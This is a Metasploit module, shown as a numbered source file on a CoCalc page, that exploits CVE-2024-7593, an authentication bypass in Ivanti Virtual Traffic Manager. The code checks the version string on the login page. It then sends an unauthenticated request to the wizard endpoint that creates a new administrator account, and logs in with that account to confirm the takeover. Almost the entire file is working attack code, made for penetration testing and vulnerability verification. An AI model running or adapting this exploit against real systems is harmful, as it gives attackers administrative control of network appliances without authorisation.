CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
class MetasploitModule < Msf::Auxiliary
2
  include Msf::Exploit::Remote::HttpClient
3
  prepend Msf::Exploit::Remote::AutoCheck
4

5
  def initialize(info = {})
6
    super(
7
      update_info(
8
        info,
9
        'Name' => 'Ivanti Virtual Traffic Manager Authentication Bypass (CVE-2024-7593)',
10
        'Description' => %q{
11
          This module exploits an access control issue in Ivanti Virtual Traffic Manager (vTM), by adding a new
12
          administrative user to the web interface of the application.
13

14
          Affected versions include 22.7R1, 22.6R1, 22.5R1, 22.3R2, 22.3, 22.2.
15
        },
16
        'Author' => [
17
          'Michael Heinzl', # MSF Module
18
          'ohnoisploited', # PoC
19
          'mxalias' # Credited in the vendor advisory for the discovery, https://hackerone.com/mxalias?type=user
20
        ],
21
        'References' => [
22
          ['PACKETSTORM', '179906'],
23
          ['CVE', '2024-7593'],
24
          ['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Virtual-Traffic-Manager-vTM-CVE-2024-7593?language=en_US']
25
        ],
26
        'DisclosureDate' => '2024-08-05',
27
        'DefaultOptions' => {
28
          'RPORT' => 9090,
29
          'SSL' => 'True'
30
        },
31
        'License' => MSF_LICENSE,
32
        'Notes' => {
33
          'Stability' => [CRASH_SAFE],
34
          'Reliability' => [REPEATABLE_SESSION],
35
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
36
        }
37
      )
38
    )
39

40
    register_options([
41
      OptString.new('TARGETURI', [true, 'Base path', '/']),
42
      OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username.gsub(/[^a-zA-Z0-9_-]/, '_')]),
43
      OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(12)]),
44
    ])
45
  end
46

47
  def check
48
    res = send_request_cgi(
49
      {
50
        'method' => 'GET',
51
        'uri' => normalize_uri(target_uri, 'apps', 'zxtm', 'login.cgi')
52
      }
53
    )
54

55
    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
56

57
    body = res.body
58
    version_regex = /StingrayVersion\.Set\(\s*'([^']+)'\s*,/
59
    match = body.match(version_regex)
60
    if match
61
      version = match[1]
62
      return Exploit::CheckCode::Appears("Version: #{version}") if Rex::Version.new(version) <= Rex::Version.new('22.7R1')
63
    else
64
      return Exploit::CheckCode::Safe
65
    end
66

67
    Exploit::CheckCode::Safe
68
  end
69

70
  def run
71
    res = send_request_cgi(
72
      'method' => 'POST',
73
      'uri' => normalize_uri(target_uri.path, 'apps/zxtm/wizard.fcgi?error=1&section=Access+Management%3ALocalUsers'),
74
      'vars_post' => {
75
        '_form_submitted' => 'form',
76
        'create_user' => 'Create',
77
        'group' => 'admin',
78
        'newusername' => datastore['NEW_USERNAME'],
79
        'password1' => datastore['NEW_PASSWORD'],
80
        'password2' => datastore['NEW_PASSWORD']
81
      }
82
    )
83

84
    unless res
85
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
86
    end
87

88
    html = res.get_html_document
89
    title_tag = html.at_css('title')
90

91
    fail_with(Failure::UnexpectedReply, 'title tag not found.') unless title_tag
92
    title_text = title_tag.text.strip
93
    if title_text == '2'
94
      print_status('Request to add new admin user sent, verifying...')
95

96
      form = Rex::MIME::Message.new
97
      form.add_part('form', nil, nil, 'form-data; name="_form_submitted"')
98
      form.add_part(datastore['NEW_USERNAME'], nil, nil, 'form-data; name="form_username"')
99
      form.add_part(datastore['NEW_PASSWORD'], nil, nil, 'form-data; name="form_password"')
100
      form.add_part('Login', nil, nil, 'form-data; name="form_submit"')
101

102
      res = send_request_cgi(
103
        {
104
          'method' => 'POST',
105
          'uri' => normalize_uri(target_uri.path, 'apps', 'zxtm', 'login.cgi'),
106
          'ctype' => "multipart/form-data; boundary=#{form.bound}",
107
          'data' => form.to_s
108
        }
109
      )
110
      if res && res.code == 302 && res.get_cookies.include?('ZeusTMZAUTH_')
111
        store_valid_credential(user: datastore['NEW_USERNAME'], private: datastore['NEW_PASSWORD'], proof: html)
112
        print_good("New admin user was successfully added:\n\t#{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")
113
        print_good("Login at: #{full_uri(normalize_uri(target_uri, 'apps/zxtm/login.cgi'))}")
114
      end
115

116
    elsif title_text == '0' && html.to_s.include?('ERROR: Specified user already exists')
117
      fail_with(Failure::BadConfig, "Specified user already exists. Specify a different user name with 'set NEW_USERNAME <USER>'.")
118
    elsif title_text == '0' && html.to_s.include?('ERROR: Username must contain only: letters, numbers,')
119
      fail_with(Failure::BadConfig, "Specified username is invalid. Username must contain only letters, numbers, underscores (_), and hyphens (-). Specify a different user name with 'set NEW_USERNAME <USER>'.")
120
    else
121
      fail_with(Failure::NotVulnerable, 'Unexpected string found inside the title tag: ' + title_text)
122
    end
123
  end
124
end
125

126